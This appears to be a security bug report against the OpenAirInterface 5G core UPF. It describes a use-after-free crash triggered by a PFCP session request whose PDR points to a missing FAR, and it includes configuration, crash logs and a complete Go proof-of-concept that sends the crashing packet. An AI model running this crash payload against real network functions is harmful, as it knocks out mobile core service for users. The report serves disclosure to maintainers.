[Bug]: UPF Crash on PFCP Session Establishment when CreatePDR references non-existent FAR
OAI-CN-5G Release, Revision, or Tag
- commit:74d8ed9a; eBPF=ON
Description
When a PFCP Session Establishment Request contains a CreatePDR that references a non-existent FAR (e.g. FAR ID=9999), the UPF fails session creation, frees the session, but still calls the datapath logic with the stale session pointer. This leads to a use-after-free and a crash.
Config
config.yaml
################################################################################
# Licensed to the OpenAirInterface (OAI) Software Alliance under one or more
# contributor license agreements. See the NOTICE file distributed with
# this work for additional information regarding copyright ownership.
# The OpenAirInterface Software Alliance licenses this file to You under
# the OAI Public License, Version 1.1 (the "License"); you may not use this file
# except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.openairinterface.org/?page_id=698
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#-------------------------------------------------------------------------------
# For more information about the OpenAirInterface (OAI) Software Alliance:
# contact@openairinterface.org
################################################################################
# OAI CN Configuration File
### This file can be used by all OAI NFs
### Some fields are specific to an NF and will be ignored by other NFs
### The {{ env['ENV_NAME'] }} syntax lets you define these values in a docker-compose file
### If you intend to mount this file or use a bare-metal deployment, please refer to README.md
### The README.md also defines default values and allowed values for each configuration parameter
############# Common configuration
# Log level for all the NFs
log_level:
general: debug
# If you enable registration, the other NFs will use the NRF discovery mechanism
register_nf:
general: yes
http_version: 2
############## SBI Interfaces
### Each NF takes its local SBI interfaces and remote interfaces from here, unless it gets them using NRF discovery mechanisms
nfs:
amf:
host: oai-amf
sbi:
port: 8080
api_version: v1
interface_name: eth0
n2:
interface_name: eth0
port: 38412
smf:
host: oai-smf
sbi:
port: 8080
api_version: v1
interface_name: eth0
n4:
interface_name: eth0
port: 8805
upf:
host: oai-upf
sbi:
port: 8080
api_version: v1
interface_name: eth1
n3:
interface_name: eth0
port: 2152
n4:
interface_name: eth0
port: 8805
n6:
interface_name: eth1
n9:
interface_name: eth0
port: 2152
udm:
host: oai-udm
sbi:
port: 8080
api_version: v1
interface_name: eth0
udr:
host: oai-udr
sbi:
port: 8080
api_version: v1
interface_name: eth0
ausf:
host: oai-ausf
sbi:
port: 8080
api_version: v1
interface_name: eth0
nrf:
host: oai-nrf
sbi:
port: 8080
api_version: v1
interface_name: eth0
#### Common for UDR and AMF
database:
host: mysql
user: test
type: mysql
password: test
database_name: oai_db
generate_random: true
connection_timeout: 300 # seconds
## general single_nssai configuration
## Defines YAML anchors, which are reused in the config file
snssais:
- &embb_slice
sst: 1
############## NF-specific configuration
amf:
pid_directory: "/var/run"
amf_name: "OAI-AMF"
# This really depends on if we want to keep the "mini" version or not
support_features_options:
enable_simple_scenario: no
enable_nssf: no
enable_smf_selection: yes
use_external_udm: no
relative_capacity: 30
statistics_timer_interval: 20 #in seconds
emergency_support: false
served_guami_list:
- mcc: 001
mnc: 01
amf_region_id: 01
amf_set_id: 001
amf_pointer: 01
plmn_support_list:
- mcc: 001
mnc: 01
tac: 0x0001
nssai:
- *embb_slice
supported_integrity_algorithms:
- "NIA1"
- "NIA2"
supported_encryption_algorithms:
- "NEA0"
- "NEA1"
- "NEA2"
smf:
ue_mtu: 1500
support_features:
use_local_subscription_info: yes # Use infos from local_subscription_info or from UDM
use_local_pcc_rules: yes # Use infos from local_pcc_rules or from PCF
# we resolve from NRF, this is just to configure usage_reporting
upfs:
- host: oai-upf
config:
enable_usage_reporting: no
ue_dns:
primary_ipv4: "1.1.1.1"
primary_ipv6: "2001:4860:4860::8888"
secondary_ipv4: "8.8.8.8"
secondary_ipv6: "2001:4860:4860::8888"
ims:
pcscf_ipv4: "192.168.70.139"
pcscf_ipv6: "fe80::7915:f408:1787:db8b"
# the DNN you configure here should be configured in "dnns"
# follows the SmfInfo datatype from 3GPP TS 29.510
smf_info:
sNssaiSmfInfoList:
- sNssai: *embb_slice
dnnSmfInfoList:
- dnn: "oai"
- dnn: "openairinterface"
- dnn: "ims"
- dnn: "default"
local_subscription_infos:
- single_nssai: *embb_slice
dnn: "oai"
qos_profile:
5qi: 9
session_ambr_ul: "10Gbps"
session_ambr_dl: "10Gbps"
- single_nssai: *embb_slice
dnn: "openairinterface"
qos_profile:
5qi: 9
session_ambr_ul: "10Gbps"
session_ambr_dl: "10Gbps"
- single_nssai: *embb_slice
dnn: "ims"
qos_profile:
5qi: 9
session_ambr_ul: "10Gbps"
session_ambr_dl: "10Gbps"
- single_nssai: *embb_slice
dnn: "default"
qos_profile:
5qi: 9
session_ambr_ul: "10Gbps"
session_ambr_dl: "10Gbps"
upf:
support_features:
enable_bpf_datapath: yes # If "on": BPF is used as datapath else simpleswitch is used, DEFAULT= off
enable_snat: yes # If "on": Source natting is done for UE, DEFAULT= off
remote_n6_gw: 127.0.0.1 # Dummy host since simple-switch does not use N6 GW
smfs:
- host: oai-smf # To be used for PFCP association in case of no-NRF
upf_info:
sNssaiUpfInfoList:
- sNssai: *embb_slice
dnnUpfInfoList:
- dnn: "oai"
- dnn: "openairinterface"
- dnn: "ims"
- dnn: "default"
## DNN configuration
dnns:
- dnn: "oai"
pdu_session_type: "IPV4"
ipv4_subnet: "10.0.0.0/24"
- dnn: "openairinterface"
pdu_session_type: "IPV4V6"
ipv4_subnet: "10.0.1.0/24"
ipv6_prefix: "2001:1:2::/64"
- dnn: "ims"
pdu_session_type: "IPV4V6"
ipv4_subnet: "10.0.9.0/24"
ipv6_prefix: "2001:1:2::/64"
- dnn: "default"
pdu_session_type: "IPV4V6"
ipv4_subnet: "10.0.255.0/24"
ipv6_prefix: "2001:1:2::/64"
Steps to reproduce
- Start a new go project inside a new folder: go mod init poc
- Create a main.go and paste the code below:
package main
import (
"errors"
"flag"
"fmt"
"log"
"math/rand"
"net"
"os"
"sync/atomic"
"syscall"
"time"
"github.com/wmnsk/go-pfcp/ie"
"github.com/wmnsk/go-pfcp/message"
)
const (
defaultPFCPAddr = "192.168.70.134:8805"
defaultCPIP = "127.0.0.1"
defaultGnbIP = "192.168.70.134"
defaultUEIP = "12.1.1.10"
defaultTimeout = 5 * time.Second
defaultR1TEID = 0xdeadbeef
)
// PFCP Client
type pfcpClient struct {
conn *net.UDPConn
timeout time.Duration
seq uint32
}
func newPFCPClient(addr string, timeout time.Duration) (*pfcpClient, error) {
udpAddr, err := net.ResolveUDPAddr("udp", addr)
if err != nil {
return nil, err
}
conn, err := net.DialUDP("udp", nil, udpAddr)
if err != nil {
return nil, err
}
return &pfcpClient{
conn: conn,
timeout: timeout,
seq: uint32(rand.Intn(0xffffff)),
}, nil
}
func (c *pfcpClient) close() {
_ = c.conn.Close()
}
func (c *pfcpClient) nextSeq() uint32 {
return atomic.AddUint32(&c.seq, 1)
}
func (c *pfcpClient) associate(addr net.IP) error {
req := message.NewAssociationSetupRequest(
c.nextSeq(),
ie.NewNodeID(addr.String(), "", ""),
ie.NewRecoveryTimeStamp(time.Now()),
)
resp, err := c.send(req)
if err != nil {
return err
}
if asr, ok := resp.(*message.AssociationSetupResponse); ok {
if asr.Cause != nil {
if cause, _ := asr.Cause.Cause(); cause != ie.CauseRequestAccepted {
return fmt.Errorf("association rejected (cause=%d)", cause)
}
}
}
return nil
}
func (c *pfcpClient) send(msg message.Message) (message.Message, error) {
payload := make([]byte, msg.MarshalLen())
if err := msg.MarshalTo(payload); err != nil {
return nil, err
}
if _, err := c.conn.Write(payload); err != nil {
return nil, err
}
_ = c.conn.SetReadDeadline(time.Now().Add(c.timeout))
buf := make([]byte, 4096)
n, _, err := c.conn.ReadFromUDP(buf)
if err != nil {
return nil, err
}
return message.Parse(buf[:n])
}
// Utility functions
func randomSEID() uint64 {
const mask = (1 << 60) - 1
return uint64(rand.Int63()) & mask
}
func isTimeout(err error) bool {
var netErr net.Error
if errors.As(err, &netErr) && netErr.Timeout() {
return true
}
return false
}
func isConnRefused(err error) bool {
var opErr *net.OpError
if errors.As(err, &opErr) {
if errors.Is(opErr.Err, syscall.ECONNREFUSED) {
return true
}
var sysErr *os.SyscallError
if errors.As(opErr.Err, &sysErr) {
if errors.Is(sysErr.Err, syscall.ECONNREFUSED) {
return true
}
}
}
return false
}
func checkPFCPConnectivity(addr string, timeout time.Duration) error {
udpAddr, err := net.ResolveUDPAddr("udp", addr)
if err != nil {
return fmt.Errorf("invalid PFCP address %s: %w", addr, err)
}
conn, err := net.DialUDP("udp", nil, udpAddr)
if err != nil {
return fmt.Errorf("cannot create UDP socket to %s: %w", addr, err)
}
defer conn.Close()
if err := conn.SetWriteDeadline(time.Now().Add(timeout)); err != nil {
return fmt.Errorf("cannot set write deadline: %w", err)
}
if _, err := conn.Write([]byte{}); err != nil {
if isTimeout(err) {
return fmt.Errorf("timeout writing to %s (UPF may not be listening)", addr)
}
return fmt.Errorf("cannot write to %s: %w", addr, err)
}
conn.SetReadDeadline(time.Now().Add(500 * time.Millisecond))
buf := make([]byte, 1)
_, _, _ = conn.ReadFromUDP(buf)
conn.SetReadDeadline(time.Time{})
return nil
}
// R1: BPF datapath UAF exploit
func triggerR1(pfcpAddr string, cpIP, gnbIP, ueIP net.IP, teid uint32, timeout time.Duration) error {
log.Println("[R1] Triggering BPF datapath UAF during session establishment")
// Check connectivity
log.Printf("[R1] Checking PFCP connectivity to %s...", pfcpAddr)
if err := checkPFCPConnectivity(pfcpAddr, timeout); err != nil {
return fmt.Errorf("PFCP connectivity check failed: %w", err)
}
log.Println("[R1] PFCP connectivity check passed")
// Create PFCP client
client, err := newPFCPClient(pfcpAddr, timeout)
if err != nil {
return err
}
defer client.close()
// Establish PFCP association
if err := client.associate(cpIP); err != nil {
return fmt.Errorf("PFCP association failed: %w", err)
}
log.Println("[R1] PFCP association established")
// Craft malformed Session Establishment Request
cpSEID := randomSEID()
log.Printf("[R1] Crafting malformed Session Establishment Request")
log.Printf("[R1] - CP SEID: %#x", cpSEID)
log.Printf("[R1] - PDR ID: 1111, FAR ID: 9999 (FAR deliberately missing)")
log.Printf("[R1] - UE IP: %s, gNB IP: %s, TEID: %#x", ueIP, gnbIP, teid)
log.Printf("[R1] - Expected: UPF will fail validation, delete session, then call_datapath() dereferences freed pointer")
// Create PDR that references a FAR ID that doesn't exist
// This causes session creation to fail, session is deleted, but call_datapath()
// is still called with the dangling pointer (pfcp_switch.cpp lines 702-785)
req := message.NewSessionEstablishmentRequest(0, 0, cpSEID, client.nextSeq(), 0,
ie.NewNodeID(cpIP.String(), "", ""),
ie.NewFSEID(cpSEID, cpIP, nil),
ie.NewCreatePDR(
ie.NewPDRID(1111),
ie.NewPrecedence(100),
ie.NewPDI(
ie.NewSourceInterface(ie.SrcInterfaceAccess),
ie.NewUEIPAddress(0x02, ueIP.String(), "", 0, 0),
ie.NewFTEID(0x01, teid, gnbIP, nil, 0),
),
ie.NewFARID(9999), // FAR ID 9999 is referenced but never created - triggers validation failure
),
// Note: No CreateFAR with FARID 9999 is included, causing session->create() to fail
)
log.Println("[R1] Sending malformed request...")
msg, err := client.send(req)
if err != nil {
if isTimeout(err) || isConnRefused(err) {
log.Println("[R1] ✓ SUCCESS: PFCP socket timed out or connection refused.")
log.Println("[R1] This indicates the UPF crashed due to UAF in call_datapath()")
log.Println("[R1] Check UPF logs for segmentation fault in pfcp_switch::call_datapath")
log.Println("[R1] Expected crash location: std::make_shared<pfcp::pfcp_session>(*s) at lines 654-665")
return nil
}
return fmt.Errorf("PFCP exchange failed: %w", err)
}
if resp, ok := msg.(*message.SessionEstablishmentResponse); ok {
if resp.Cause != nil {
if c, _ := resp.Cause.Cause(); c != ie.CauseRequestAccepted {
log.Printf("[R1] ⚠ WARNING: UPF survived and returned cause=%d", c)
log.Println("[R1] The UPF rejected the request but did not crash.")
log.Println("[R1] This suggests enable_bpf_datapath=no in UPF configuration.")
log.Println("[R1] To reproduce the crash, ensure enable_bpf_datapath=yes in UPF config.")
return nil
}
}
}
log.Println("[R1] ⚠ WARNING: UPF responded with success (unexpected behavior)")
log.Println("[R1] Expected: UPF should reject the request or crash due to UAF")
log.Println("[R1] Verify: enable_bpf_datapath=yes in UPF configuration")
return nil
}
func main() {
var (
pfcpAddr = flag.String("pfcp", defaultPFCPAddr, "PFCP target in host:port format")
cpIP = flag.String("cp-ip", defaultCPIP, "Local SMF IPv4 address for F-SEID")
gnbIP = flag.String("gnb-ip", defaultGnbIP, "gNB IPv4 address used in F-TEID")
ueIP = flag.String("ue-ip", defaultUEIP, "UE IPv4 address used by crafted sessions")
teid = flag.Uint("teid", defaultR1TEID, "TEID encoded in the malformed request")
timeout = flag.Duration("timeout", defaultTimeout, "Timeout per PFCP exchange")
)
flag.Parse()
cpIPAddr := net.ParseIP(*cpIP)
gnbIPAddr := net.ParseIP(*gnbIP)
ueIPAddr := net.ParseIP(*ueIP)
if cpIPAddr == nil || gnbIPAddr == nil || ueIPAddr == nil {
log.Fatal("cp-ip, gnb-ip, and ue-ip must be valid IPv4 addresses")
}
if err := triggerR1(*pfcpAddr, cpIPAddr, gnbIPAddr, ueIPAddr, uint32(*teid), *timeout); err != nil {
log.Fatalf("R1 failed: %v", err)
}
log.Println("[+] R1 exploit completed")
}
-
Run the program with the upf pfcp server address:
go run ./main.go -
Download required libraries:
go mod tidy
Logs
[2025-11-15 08:11:30.404] [upf_app] [warning] Could not get response from NRF
[2025-11-15 08:11:30.404] [upf_app] [debug] Set a timer to the next NRF registration try (5)
[2025-11-15 08:11:32.920] [udp ] [error] Recvfrom failed Success
[2025-11-15 08:11:33.421] [upf_n4 ] [info] handle_receive(25 bytes)
[2025-11-15 08:11:33.424] [upf_n4 ] [info] Handle SX ASSOCIATION SETUP REQUEST
[2025-11-15 08:11:33.428] [upf_n4 ] [info] handle_receive(99 bytes)
[2025-11-15 08:11:33.428] [upf_app] [info] Received N4_SESSION_ESTABLISHMENT_REQUEST seid 0x35f8a6eda69df72
[2025-11-15 08:11:33.428] [upf_app] [info] Establish datapath: create(pdr(s) & far(s))
[2025-11-15 08:11:33.429] [upf_app] [debug] sessionManager::createBpfSession() seid 0x0
[2025-11-15 08:11:33.429] [upf_app] [error] No pdr found in session seid 0x0
terminate called after throwing an instance of 'std::runtime_error'
what(): Session creation failed: No pdr found.
[2025-11-15 08:11:33.447] [upf_app] [debug] There are some programs in LINKED state
[2025-11-15 08:11:33.447] [upf_app] [debug] BPF program xdp_handle_uplink is in a HOOKED state
[2025-11-15 08:11:33.448] [upf_app] [info] BPF program xdp_handle_uplink unlink to 2 interface
[2025-11-15 08:11:33.448] [upf_app] [debug] BPF program xdp_handle_shaping are not link to any interface
[2025-11-15 08:11:33.448] [upf_app] [debug] BPF program xdp_handle_downlink is in a HOOKED state
[2025-11-15 08:11:33.449] [upf_app] [info] BPF program xdp_handle_downlink unlink to 3 interface
[2025-11-15 08:11:33.451] [system ] [info] Caught signal 11
[2025-11-15 08:11:33.451] [upf_app] [debug] Send NF De-registration to NRF
[2025-11-15 08:11:33.451] [upf_app] [info] Send NF De-register to NRF
[2025-11-15 08:11:33.451] [upf_app] [debug] Send NF De-register to NRF (NRF URL http://oai-nrf:8080/nnrf-nfm/v1/nf-instances/6d73d30c-f8a1-4f11-a8b1-e6ce55d1ecee)
[2025-11-15 08:11:33.453] [upf_app] [debug] Send a simple HTTP request
[2025-11-15 08:11:35.405] [upf_app] [info] TIME-OUT event timer id 254
[2025-11-15 08:11:35.405] [upf_app] [info] Send NF Instance Registration to NRF
[2025-11-15 08:11:35.405] [upf_app] [debug] UPF profile to JSON:
{"capacity":100,"fqdn":"","heartBeatTimer":50,"ipv4Addresses":["192.168.70.134"],"nfInstanceId":"6d73d30c-f8a1-4f11-a8b1-e6ce55d1ecee","nfInstanceName":"OAI-UPF","nfStatus":"REGISTERED","nfType":"UPF","priority":1,"sNssais":[{"sd":"FFFFFF","sst":1}],"upfInfo":{"sNssaiUpfInfoList":[{"dnnUpfInfoList":[{"dnn":"default"},{"dnn":"ims"},{"dnn":"openairinterface"},{"dnn":"oai"}],"sNssai":{"sd":"FFFFFF","sst":1}}]}}
[2025-11-15 08:11:35.405] [upf_app] [debug] Send NF Instance Registration to NRF (NRF URL http://oai-nrf:8080/nnrf-nfm/v1/nf-instances/6d73d30c-f8a1-4f11-a8b1-e6ce55d1ecee)
[2025-11-15 08:11:35.405] [upf_app] [debug] Send NF Instance Registration to NRF, msg body:
{"capacity":100,"fqdn":"","heartBeatTimer":50,"ipv4Addresses":["192.168.70.134"],"nfInstanceId":"6d73d30c-f8a1-4f11-a8b1-e6ce55d1ecee","nfInstanceName":"OAI-UPF","nfStatus":"REGISTERED","nfType":"UPF","priority":1,"sNssais":[{"sd":"FFFFFF","sst":1}],"upfInfo":{"sNssaiUpfInfoList":[{"dnnUpfInfoList":[{"dnn":"default"},{"dnn":"ims"},{"dnn":"openairinterface"},{"dnn":"oai"}],"sNssai":{"sd":"FFFFFF","sst":1}}]}}
[2025-11-15 08:11:35.405] [upf_app] [debug] Send a simple HTTP request
[2025-11-15 08:11:36.456] [upf_app] [warning] Could not get response from NRF
[2025-11-15 08:11:36.456] [common] [info] Waiting ITTI tasks closed
[2025-11-15 08:11:36.456] [asc_cmd] [info] Received terminate message
[2025-11-15 08:11:36.457] [upf_n4 ] [info] Received terminate message
terminate called recursively
Expected Behaviour
UPF must validate that every PDR’s FAR ID resolves to an existing FAR. If the FAR does not exist, it should reject the Session Establishment Request with an appropriate PFCP Cause (e.g., rule creation/modification failure) and must not invoke datapath/session installation on a failed or freed session.
Observed Behaviour
UPF accepts the request for processing, parses the PDR, fails session creation due to the invalid FAR reference, logs No pdr found in session, frees the session, then still calls call_datapath() and dereferences the freed session (e.g. via std::make_shared<pfcp::pfcp_session>(*s)), triggering a use-after-free and crashing.